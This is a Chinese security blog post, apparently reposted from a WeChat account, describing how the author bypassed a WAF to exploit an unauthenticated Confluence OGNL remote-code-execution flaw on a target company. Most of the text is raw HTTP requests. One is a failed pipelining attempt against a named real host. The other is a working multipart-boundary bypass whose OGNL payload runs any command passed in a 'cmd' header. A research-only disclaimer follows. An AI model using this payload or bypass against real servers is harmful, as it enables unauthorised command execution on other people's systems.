经历一段时间的面面面试,目前算是基本稳定了,记得在某次面试过程中发现目标企业存在Confluence未授权rce的漏洞,后续再次尝试时发现被waf拦截了,所以多了个和waf对抗的故事
1、HTTP隧道传输/ HTTP pipeline【失败】
POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 203
queryString=aPOST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1
Host: help.hualala.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
cmd: pwd
queryString={
2、分块传输/ Chunked Transfer (HTTP 1.1)【失败】
3、HTTP协议未覆盖【成功】
POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------998091706;boundary=--------998091705
X-Requested-With: XMLHttpRequest
x-atlassian-mau-ignore: true
Content-Length: 678
Connection: close
Cookie: JSESSIONID=E4513E8589FBD6AB5128994E87ADA4D0
cmd: id
----------998091706
Content-Disposition: form-data; name="queryString"
sss
----------998091706--
----------998091705
Content-Disposition: form-data; name="queryString"
u0027+#{u0022u0022[u0022classu0022].forName(u0022javax.script.ScriptEngineManageru0022).newInstance().getEngineByName(u0022jsu0022).eval(u0022var c=com.atlassian.core.filters.ServletContextThreadLocal.getRequest().getHeader(u0027cmdu0027);var x=java.lang.Runtime.getRuntime().exec(c);var out=com.atlassian.core.filters.ServletContextThreadLocal.getResponse().getOutputStream();org.apache.commons.io.IOUtils.copy(x.getInputStream(),out);out.flush();u0022)}+u0027
----------998091705--
高并发、垃圾数据都尝试了,均未成功,就不放截图了。
原文始发于微信公众号(安全艺术):记一次Confluence Rce绕WAF的过程
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论